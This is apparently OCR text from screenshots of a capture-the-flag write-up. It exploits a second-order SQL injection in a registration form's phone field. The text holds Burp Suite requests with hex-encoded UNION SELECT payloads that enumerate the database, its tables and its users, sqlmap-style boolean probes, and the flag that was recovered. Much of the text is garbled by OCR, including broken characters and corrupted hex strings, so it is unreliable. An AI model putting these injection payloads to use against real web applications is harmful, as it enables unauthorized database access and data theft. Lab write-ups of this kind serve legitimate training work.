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{IDOCTYPE html>

<html>

<head>
{title>Check<{/title>

</head>

<body>

{div elass="text” style=" text-alien:center;”»There only 134 people use the same phone as youd/div></— #Filadminfy i 15 & AW ~—>

</body>
</html>
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Hello, admin’ or '1’

Your phone is MR-

ick on the link and you’ 11 know how many people use the same phone as you.
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Check logout
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Content Length: 68

username=nzjdsds1&password=nzjdsds1&phone=-1 union select
database()

EL

e mpimoiuse uw..-uw,...,..-,.,u,........,.,_uu.u.,., -

<I|nk rel="stylesheet"” href="assets/css/style.css">

<I-- HTMLS shim, for IE6-8 support of HTMLS elements -->

<I--[if It I[E 9]>
<script src="assets/js/html5,s "> < /script>
<I[endif]-->

<l-- Javascript -->

<script src="assets/Js/jquery-1.8.2.minjs"> < fscript>
<script src="assets/js/supersized.3.2.7.minjs"> </script>
<script src="assets/js/supersized-initjs" > </script>
<script src="assets/js/scriptsjs"> </script>

</head>

<script>alert("phone must be
numbercT).self.location=document.referrer; </script>
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EE:

|-1 union select database] T
URLE=

#2031 3205 7RAEE ZEIXEF X EE X205 7 3XERAEC TE

ABRAEBIXTAZ20XBAE AR 2B 2% 2736528729

SOL_En:

(02D 003100200075006E 00B300&F06E 0020007 30065006 CO0E50063007 4002000640061 007 40 TE
06100620061 007 200650022002900

Hes:
02031 20756E BIEFEE 207 3656CEDE 37 4206461 7461 6261 73652829 TE

Aszoe
[45 4332117 110105 111 11032 115101 108101 39116 32 100 97 116 97 98 97 115101 40 4 BATE

MD5_32:
|93FBIADFAE 774501 EE429354CRE30648

MOE 16:
|AE774ED1EE 429004
Basebd:

W
LTEgdwBpb2dac2s2wWMOIGRhdGFivMNIKCk= Bascbd
#iEBazebd:

EYN: )



E! Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosecn - O *

Burp Intruder Repeater Window Help

[Target I Proxy T Spider I Scanner T Intruder TRepeate: T Sequencer I Decoder I Comparer I Extender T Project options T User options TAIertS ]

[1xT2xT3xT4xT5xTGxITxm

Go Cancel < |v >|r Follow redirection

Request

J RawT Params T Headers T Hex ]

Target: http://106.75.72.168:3333 [ﬂ m

Response

J Raw T Headers I Hex I HTML I Render ]

POST /register.php HTTP/1.1

Host: 106.75.72.168:3333

User-Agent: Mozilla/5.0 (Nindows NT &.2; WOWE4; rnvi18.0)
Gecko/20100101 Firefox/18.0

Accept:
texct/html,application/<html+xml,application/xmlq=0.9,%/%q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Referer: httpy//106.75.72.168:3333 /register.php

Cookie: PHPSESSID=5p4a3etliZk2vpvtevnhh03ml1
Connection: close

Content-Type: application/<-www-form-urlencoded
Content-Length: 96

LD

username=nzjdsds1&password =nzjdsds1&phone=0x2D3120756E696F
6E2073656C6563742064617461626173652829

=
v

0 matches

<script src="assets/s/htmi5js"> </script> A
<Ifendif]--> i
<l-- Javascript -->
<script src="assets/js/jquery-1.8.2.minjs"> < /script>
<script src="assets/s/supersized.3.2.7.min js"> </script>
<script src="assets/js/supersized-initjs"> < /script=>
<script sroc="assets/js/scriptsjs "= < /script>

</head>
Success! h\\_
<body>
<div class="page-container"> [\
<h1>i¥ff</h1>

<form action="register.php" method="post">

<input type="text" name="username" class="username”
placeholder="FAF5E">

<input type="password” name="password"
class="password" placeholder="%§g">

<input type="text" name="phone" class="phone"
placeholder="phone" maxlength="11">

<button type="submit">$E3</button>

<div class="error"> <span=+ </span> </div>

< /form>

</dive
</body>
< /html= |y
QJ m u [LJ Type a search ferm 0 matches

1,779 bytes | 53 millis

Hello, nzjdsdsl

Your phone is —1 union select database().

Click on the link and you’ 11 know how many people use the same phone as you.

Check@

There only 174 people use the same phone as you
There onlv webdb people use the same phone as vou
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ser-Agent: Mozilla/5.0 (NVindows NT 6.2; WOWe4; n:18.0)
ecko,/207100101 Firefox,/18.0

tcept:
=t/htmlapplication/html+xmlapplicationfxml;q=0.9,%*q=038
ccept-Language: zh-cn,zh;q=0.8.en-us;q=05,en;q=0.3

sferer: hitpy//106.75.72.168:3333 /registerphp

sokie: PHPSESSID =5p4da3etli2k2vpvtevnhh03mil

onnection: close

ontent-Type: application/=-www-form-urlencoded
ntent-Length: 218

sername=nzjdsdsS&password=nzjdsds5&phone=0x203120756E696F6
2073656C656374207461626C655F6E616D652066726F6D20696E66
F726D6174696F6ESF736368650D612E7461626C657320776865726
207461626C655F736368656D613D64617461626173652829

There only 178 people use the same phone as you
There only user & use the same phone as you

YR

There only 179 people use the same phone as vou
There only id people use the same phone as vou

B 25TE by 712441 E) _
B

|-'I union select table_name from information_schema.tables where table_schema=database()

URLtE,

Z2D %I %20%7hEEE %E9%EF %6E % 20XV 3% 60 XECEE0R IR T 4% 0% 7 4% 61 X B2 XECXEEXEF
#BE%E1 %60 %ER%20%66%7 2%6F 26D % 20%69%6E %B6%E6F %7 2260 %51 %74 %69%6F 26E %5F
HTIZBIHEEEEE %60 2B 2E %7 4%E1 262560

SOL_En:

020 0031 00200075006E 0063006F 0EE 0020007 30085006C 00850063007 40020007 4006100620
DECO0E500SFO0EEN0ET D0ED 006500200066007 2006F D0ED00200089006E D0GE008F007 200600
061007 40083006F 006E D05F 007 3006 3006800650060 00671 002E 00740061 0062006C0065007 300

Hex:

02031 20756E 636FEE 207 366ECE5637 4207461 626CER5F 6EE1EDE5 20667 26FE0 20636E GEEF 72
EDE174696F BEBF 736368656061 2E 7461 626CR57 3207 7E0E67 265207 461 E2RCEREF 7363686560

Aszct
|I'5493211?11E|105111 11032115101 108101 33116 32 11697 33108 101 35 110 97 105

MD5_32:

There only username people use the same phone as vou

There only phone pagple use the same phone as vou

There only password pe

= use the same phone as vou

XEBRRAMDABIERM D, H T concat wsHIBXLEF B HIAE LR, (HETHEH —EHRFRE.

JERFAH T -1 union select username from user Z1 #
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There only goag people use the same phone as you
There only wwww people use the same phone as vou
There only rrrr people use the same phone as you
There only rrrrl people use the same phone as you
There only rrrr2 people use the same phone as you

There only rrrr3 people use the same phone as you
There only gggg people use the same phone as you
There only gggzl people use the same phone as you
There only hhhh people use the same phone as you

There only
There only
There only
There only
There only
There only
There only
There only
There only
There only

111 people
222 people
333 people
444 people
535 people
666 people
777 people
388 people
998 people
000 people

use the same phone as you
use the same phone as vou
use the same phone as yvou
use the same phone as you
use the same phone as you
use the same phone as you
use the same phone as yvou
use the same phone as you
use the same phone as you
use the same phone as you

There only testl23 people use the same phone as you
There only 66668 people use the same phone as vou
There only 66668) (.7) (“), ( people use the same phone as you
There only 66668 HEDsUu<' “>zSimpx people use the same phone as vou
There only 66668) AND 5833=2425— zppM people use the same phone as vou
There only G6668) AND 4852=4852— QY¥Ad people use the same phone as vou
There only 66668) AND 1009=7425 AND (8133=8133 people use the same phone as you
There only 66668} AND 4852=4852 AND (6135=6135 people use the same phone as you
There only 66668)) AND 2517=5614 AND ((2826=2826 people use the same phone as vou
There only GGEES)) AND 4852=4852 AND ((1527=1527 people use the same phone as vou
There only 66668))) AND 1739=1857 AND (((8933=8933 people use the same phone as you
There only 66668))) AND 4852=4852 AND (((9332=9332 people use the same phone as yvou
There only 66668 AND 8488=6335 people use the same phone as vou
There only 66668 AND 4852=4852 people use the same phone as you
There only 66668 AND 1494=8806— KlNr people use the same phone as you
There only 66668 AND 4852=4852— wNuK people use the same phone as vou
There only 66668 AND 2916=8008%# ilagz people use the same phone as you
There only 66668 AND 4852=4852%# FJRZ people use the same phone as you
There only 66668 AND 4870=T430— vbLC people use the same phone as vou
4852=4852— Abol people use the same phone as vou

There only 66668 AND

S .
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There only 1 union select username from webdb.user where username like ’%flag% people use the same phone as you

There only 17865183994 people use the same phone as you

There only 1 union select phone from webdb. user where username like '%flagh people use the same phone as you
There only 1 union select password from webdb. user where password like ’%flag% people use the same phone as you
There only 1 union select phone from webdb. user where phone like '%flagh people use the same phone as you

There only 1 union select username from webdb. user where phone=" B il

-]

” people use the same pt

There only 1 union select phone from webdb. user where phone like "%flag{%” people use the same phone as you

There only 1 union select 1,2, 3, TABLE_NAME, 5,6,7,8,9, 10 from information_schema. TABLES where TABLE_SCHEMA=0x7765626462 lim!
There only 1 and 1=2 unoin select database() people use the same phone as you
There only 1 union select phone from webdb people use the same phone as you
There only 1 union select table_name from information schema. tables where table_schema=webdb limit 1,1 people use

There only 12312421412 people use the same phone as you

There only 12332112332 people use the same phone as you

There only 11231231231 people use the same phone as you
There only select flag from webdb people use the same phone as you

0,1 people use

e same phon

There only 1 UNION SELECT 1, 2, sroup_concat (table_name) from information_schema. tables where table_schema=webdo() —+ people use the sa
There only 1 union select phone from user where user="admin” people use the same phone as you
There only 1 union select schema name from information_schema. TABLES people use the same phone as vou
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There only 15221917881 people use the same phone as you
There only 13062612724 people use the same phone as you

There only 1 union select * from FLAGS people use the same phone as you
There only 1 union all select * from FLAGS people use the same phone as you
There only 1 union select FLAGS from webdb people use the same phone as you

There only ' or 1= 1 people use the same phone as vou
There only * and "1'="1"# people use the same phone as you
There only and '1'="1"# people use the same phone as you
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*OST fregister.php HTTR/1.1

Jost: 106.75.72.168:3333

Jser-Agent: Mozilla/5.0 (Nindows NT 6.2; WOWE4; n:18.0)
Secko/20100101 Firefox/18.0

\ccept:

ext/html application/«html+xml,application/=mlq=0.9%/q=0.8
\ccept-Language: zh-cn,zh;q=0.8,en-us;g=0.5,en;q=0.3
teferer: httpy//106.75.72.168:3333 /registerphp

Zookie: PHPSESSID =5p4a3etlizk2vpvtevnhh03mll
sonnection: close

Content-Type: application/=-www-form-urlencoded
Content-Length: 152

1sername=nzjdsds9&password=nzjdsds9&phone=0x2D3120756E696F6
:2073656C6563742070686F6E652066726F6D207573657220776865
7265207573657 26E6160653D2761646D696E2T

F HTTF/1.1 302 Found
Date: Mon. 27 Aug 2018 15:08:23 GMT

B 81518 by 712441
BA:

|-‘I union zelect phone from uzer where uzemame="admin’

URLHE=,

203 % 20%75%6E 2E9%EF %EE 2057 3 HRE%ECE 0% 6 3% 7 4% 20% 7 0% 687 6F 26E
#BBZ20%66% 7 2%6F 26D
AN U A S A A | A S FA S AT A | A A A A S oA S A S A )

SOL_En:

7800730065007 2006E 00610060 00650030 00270061 00640060 0063006E 002700

0x2D003100200075006E D063006F 006E 0020007 30065006CN0650063007 40020007 00068006F0
0BE00RS002000660072006F 006D 00200075007 30065007 20020007 7 00680085007 20065002000

Azc:

WS493211?11D105111 11032115101 108100 33116 32112104 111 110100 32 102 114 1

mMMNA 32:

There onlv 182 people use the same phone as vou

There only flag{Gendodwiedsmmadooeimieniniedwi people use the same phone as you

There onlvy 1555555 people use
There onlvy 15500956659 people use

There onlv 1 people use

same phone as vou
e same phone as you

the salye phone as vou

There onlvy 123456 people use the shme phone as vou
There onlv 111111111111111 people use the same phone as vou
There onlvy 11111111111 people use the same phone as vou
There onlvy 12345678912 people use the same phone as vou
There onlvy 111111 people use the same phone as vou
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